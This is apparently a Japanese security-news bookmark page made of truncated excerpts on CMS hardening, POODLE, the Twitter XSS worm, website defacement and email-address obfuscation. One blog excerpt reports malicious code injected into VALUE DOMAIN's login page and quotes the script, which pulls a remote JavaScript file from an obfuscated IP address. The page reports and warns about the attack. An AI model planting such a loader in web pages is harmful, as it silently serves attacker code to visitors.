IPAテクニカルウォッチ「CMSを用いたウェブサイトにおける情報セキュリティ対策のポイント」：IPA 独立行政法人 情報処理推進機構
IPA（独立行政法人情報処理推進機構）セキュリティセンターは、ウェブサイトへの情報セキュリティインシデントが後を絶たないことを受け、ウェブサイトの構築・運用に用いられるCMS（コンテンツマネジメントシステム）に着目し、その脅威と対策、および構築・運用のポイントを解説した“IPAテクニカルウォッチ”「CMSを用いたウェブサイトにおける情報セキュリティ対策のポイント」を9月28日（水）に公開しました。 下記より「CMSを用いたウェブサイトにおける情報セキュリティ対策のポイント」についてのレポートPDF版をダウンロードしてご利用いただけます。 1．CMSとは 2．CMSで構築されたウェブサイトを狙う攻撃と対策 3．CMSを使ったウェブサイト構築・運用のポイント 4. チェックリスト 【別冊付録】ウェブサイト構築・運用のポイント 1. ウェブサイトを構築する上での注意点 2. ウェブサイトの運用開
SSL 3.0 の POODLE 脆弱性への対応について | Mozilla Japan ブログ
各所で報道されていますように、SSL 3.0 に深刻な問題が発見されました。POODLE と呼ばれるこの脆弱性を利用することで、攻撃者は SSLv3 の通信からパスワードや cookie のような情報を盗み取ることが可能になります。 これに対応するため、Mozilla は米国時間の 2014 年 11 月 25 日に公開が予定されている Firefox の次バージョンより SSLv3 をサポートせず、標準状態では利用できなくすることを決めました。この設定は、10/14 夜（米国時間）に公開された Nightly ビルドで既に有効になっています。また次々バージョンより SCSV と呼ばれる、TLS のダウングレード保護機構をサポートします。 来月 (2014 年 11 月)のアップデートまでは、SSLv3は標準で有効になっています。安全に Web を閲覧するためにも、SSL Version
作者に連絡がつかず脆弱性が放置されているソフト一覧の最新版、JVNが公表
情報処理推進機構（IPA）とJPCERT/CC（JPCERTコーディネーションセンター）が共同で運営する情報セキュリティ関連サイト「JVN（Japan Vulnerability Notes）」は2012年9月27日、2012年第3四半期の「連絡不能開発者一覧」を公表した。 JVNでは一般に流通するソフトウエアに情報セキュリティ上の問題（脆弱性）がある疑いがある場合、開発者と連絡を取りながら、問題解決のための方策を探る。開発者自身がソフトウエアを更新することで脆弱性が解消されるケースも多い。ところが、電子メールや郵便、電話などの手段を使っても連絡が取れない場合、スムーズな対応が困難になる。このため、開発者名や製品名を公表して、広く情報を募る。 2012年第3四半期は、開発者名の新たな公表はなかった。一方で前四半期に開発者名のみ公表した2人について、この四半期の間に連絡が取れなかった。このた
Microsoft、IEのアップグレードを自動配信へ 旧版のセキュリティ問題に対応
米Microsoftは12月15日、Webブラウザ「Internet Explorer」（IE）のアップグレード版をユーザー向けに自動配信する計画を発表した。 同社のブログによると、IE最新版の自動配信は2012年1月からまずオーストラリアとブラジルで開始する。これにより、ユーザーが何も操作しなくても最新版が自動的にダウンロードされ、インストールされるようになる。例えばWindows XPでIE 6／7を使っている場合はIE 8が、Vistaと7でIE 7／8を使っている場合はIE 9が自動的に導入される。 自動配信は、ユーザーがWindows Updateを通じた自動更新を有効にしている場合に適用される。ただ、ユーザーが設定したホームページや検索エンジン、デフォルトのブラウザなどの設定が変更されることはないとしている。日本などの国でいつ開始するかは明らかにしていない。 Microsoft
Android向け無料アンチウイルスソフトは無意味
コンピュータを守るためにアンチウイルスソフトは不可欠。これと同じ考えから、スマートフォン向けにもアンチウイルスソフトがリリースされています。しかし、ウイルス検出率テストを行う第三者機関、AV-TEST.orgの検査によって、Android向けの無料アンチウイルスソフトの検出率の低さが白日の下にさらされることになりました。 Android antivirus apps are useless, here’s what to do instead | ExtremeTech (PDFファイル)Are free Android virus scanners any good? Authors: Hendrik Pilz, Steffen Schindler 今回、AV-TESTが使った無料アンチウイルスソフトは7つ。 ◆Antivirus Free Version 1.3.1 Creative
Twitterの脆弱性突くコードが拡散 Webブラウザでのアクセス自粛呼び掛け
21日23:10追記 Twitter公式ブログが脆弱性の修正を報告（英文）。だが全Twitterサーバに修正が反映されるまで時間がかかる可能性もあるため、当分は要注意。 Twitterの脆弱性を使ったコードが急速に拡散し、意図しないツイートをしてしまうケースなどが多発している。当面の対策として、WebブラウザからTwitter公式ホーム画面にアクセスしないなどの対策をセキュリティーソフト会社やユーザー有志が呼び掛けている。 Kaspersky Labのブログによると、Twitterに存在するクロスサイトスクリプティング（XSS）の脆弱性が原因。ツイートにスクリプトを埋め込んだり、外部サイトからスクリプトを呼び出すなどしてユーザーに実行させることが可能になっている。ユーザーにツイートを連鎖させるコードも出回っており、急速に広がっているもようだ。 コードによっては、ログイン状態でWebブラウザ
HTMLエンティティ化
HTMLエンティティ化 version Japanese 1.0（説明） エンティティ化するテキスト mailto:someone@some.domain.com エンティティ化されたテキスト オプション 入力文の半角スペース、タブ、改行を除去する エンティティ化する・しない文字を無作為に選ぶ（チェックしないときは全てエンティティ化） 但し、以下の文字は必ずエンティティ化する： エンティティ出力形式： 注1 説明 ホームページに公開するメールアドレスなどを広告業者に収集されるのを防止するためのソフトウエアです。ＷＷＷページに記載するメールアドレスなどをこのプログラムでエンティティコード（数値文字実体参照）に変換して書き換えてやれば、ＷＷＷページを実際に見ている人間には支障を与えることなく、メールアドレスなどが自動収集プログラムなどから見つかり難くなります。 使い方 変換したいメールアドレス
メールアドレス暗号化(メール暗号化ツール)
<a href="mailto:abc-xyz@yahoo.co.jp">abc-xyz@yahoo.co.jp</a> ↓ <script type="text/javascript"> <!-- function converter(M){ var str="", str_as=""; for(var i=0;i<M.length;i++){ str_as = M.charCodeAt(i); str += String.fromCharCode(str_as + 1); } return str; } function mail_to(k_1,k_2) {eval(String.fromCharCode(108,111,99,97,116,105,111,110,46,104,114,101,102, 32,61,32,39,109,97,105,108,116,111,58) +
atword.jp - このウェブサイトは販売用です！ - リソースおよび情報
このウェブサイトは販売用です！ atword.jp は、あなたがお探しの情報の全ての最新かつ最適なソースです。一般トピックからここから検索できる内容は、atword.jpが全てとなります。あなたがお探しの内容が見つかることを願っています！
Norton 2010がβ公開 新防御システム「Quorum」を搭載
米Symantecは7月2日、「Norton Internet Security 2010」「Norton AntiVirus 2010」のβ版を公開した。レピュテーション（評判）に基づいて未知の脅威に対処する技術を採用している。 Symantecは、従来の定義ファイル方式では、攻撃者が作り出す多数の不正プログラムについて行けないことから、未知の脅威にも対応できる「Quorum」という新しい防御システムをこれら2つのNorton 2010ソフトに導入したと説明している。 Quorumはアプリケーションのレピュテーションに基づき、未知のアプリケーションが危険がどうかを判断する。レピュテーションは、Norton Community Watchプログラムを通じて世界中のユーザーから集めたアプリケーションの特徴に関するデータを統計的に分析して決定する。例えば、多くのユーザーが使っている、出所が確か
VALUE DOMAINにウイルスコードが仕込まれる！ | 無題ブログ
VALUE DOMAINにウイルスコードが仕込まれる！ VALUE DOMAINのHPの一部のページにウイルスが仕込まれてるようです。 ウイルスコードが仕込まれているページは、VALUE DOMAINのログイン画面です。（まだ修正されてないのでリンクは切ってます） ttps://www.value-domain.com/login.php 上記にアクセスをしたらjavascriptが読み込まれるようです。 PLAIN TEXTJavaScript: <SCRIPT LANGUAGE="JAVASCRIPT"> var js = document.createElement("script"); js.src = "http://1856317799:888/s.js"; try {document.getElementsByTagName('head')[0].appendChild(js
Webサイト改ざん攻撃への対処策、IPAが紹介
IPAは、6月度および2009年上半期のウイルス・不正アクセスの届出状況を発表。Webサイト改ざん攻撃への対処策を紹介した。 情報処理推進機構（IPA）セキュリティセンターは7月3日、6月度および2009年1～6月期のコンピュータウイルス・不正アクセスの届出状況を発表した。この中でWebサイト改ざん攻撃への対処策を紹介している。 この攻撃では、まず第三者がスパイウェアなどで不正に入手したFTPアカウントを悪用してWebサーバなどへ侵入し、悪質サイトへのリンクなどを埋め込んだファイルをアップロードして、Webページを改ざんする。 インターネット利用者が改ざんされたWebページにアクセスすると、バックグラウンドでマルウェア配布サイトなどに誘導され、不正プログラムが自動的にダウンロードされる。不正プログラムは、利用者のコンピュータ内に脆弱性が存在すると、脆弱性を突いて実行されてしまい、さまざまな
Twitterで偽ウイルス対策ソフトに感染する“つぶやき”が増加中
マイクロブログサービスの米Twitterで、今度は偽ウイルス対策ソフトの配布サイトにリンクさせた不正なつぶやきが増殖していることが分かった。ロシアのセキュリティ企業Kaspersky Labがブログで伝えた。 Kasperskyによれば、問題のつぶやきに掲載されたリンクをユーザーがクリックすると、YouTubeの動画を張った悪質サイトへ誘導される。その際、別のサーバにも接続され、細工が施された悪質なPDFファイルがダウンロードされてしまう。 このPDFファイルは、各種ソフト製品の脆弱性を悪用する機能を搭載している。ユーザーのコンピュータに「System Security」という名称の偽ウイルス対策ソフトをインストールし、「あなたのPCは危険なウイルスに感染しています」という偽の警告メッセージで脅して有料ソフトの購入を迫る。 Twitterでは最近、ユーザーのアカウント情報詐取を狙ったフィッ
世界2000サイトが改ざん被害、新手の悪質コードで攻撃か
約2000の正規サイトに悪質なJavascriptが仕込まれ、不正サイトへユーザーをおびき寄せているという。 世界各国で正規サイトが改ざんされる被害が続出し、約2000のサイトに悪質なJavascriptが仕込まれているのが見つかったと、セキュリティ企業の米Websenseが伝えた。 問題のJavaScriptは難読化して判別しにくくしており、不正サイトへユーザーをおびき寄せる仕掛けになっている。この不正サイトはGoogleのアクセス解析サービス「Google Analytics」を思わせるドメインを利用。ソフトウェアの脆弱性を突き、ユーザーのコンピュータに悪質ファイルをインストールして実行してしまう。 5月29日現在で、ウイルス対策ソフトによるこの悪質ファイルの検出率は極めて低いという。 Webサイト改ざんでは、通称「GENOウイルス」（別名Gumblar、JSRedir-R）というマル
ログインしてください：日経クロステック（xTECH）
会員限定サービスです 会員の方はこちら ログイン 有料会員（月額プラン）は初月無料！ お申し込み 日経クロステック TOPページ
IMのパスワードがネットで検索可能に、トロイの木馬で流出
IMのパスワードが知らないうちに盗まれてインターネット上に出回り、キーワード検索で入手できてしまう状態になっているという。 インスタントメッセージング（IM）にログインするためのパスワード情報が、知らないうちに盗まれてインターネット上に出回り、キーワード検索で入手できてしまう状態になっていることが分かったと、セキュリティ企業の米Symantecがブログで伝えた。 Symantecによると、この現象は最近のセキュリティイベントで報告されたもので、ユーザー名を入れて特定用語で検索をかけると、IMのパスワードなどの情報が大量に出てくるという。中には有効なパスワードも含まれており、これを使えば他人のIMにログインしてアカウントを操作できてしまう可能性もある。 IMのアカウント情報はトロイの木馬を使って盗まれたものだといい、攻撃側は盗んだ情報をテキストファイルにして特定のFTPサーバに保存したり、電
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
Adobe Flash Playerを最新版にする | コラム | インターネット・セキュリティ・ナレッジ｜インターネットセキュリティに関するポータルサイト
定番解凍ソフト「Lhasa」および「Lhaplus」に外部DLLの読み込みに関する脆弱性
メールアドレス収集ロボット対策
サービス終了のお知らせ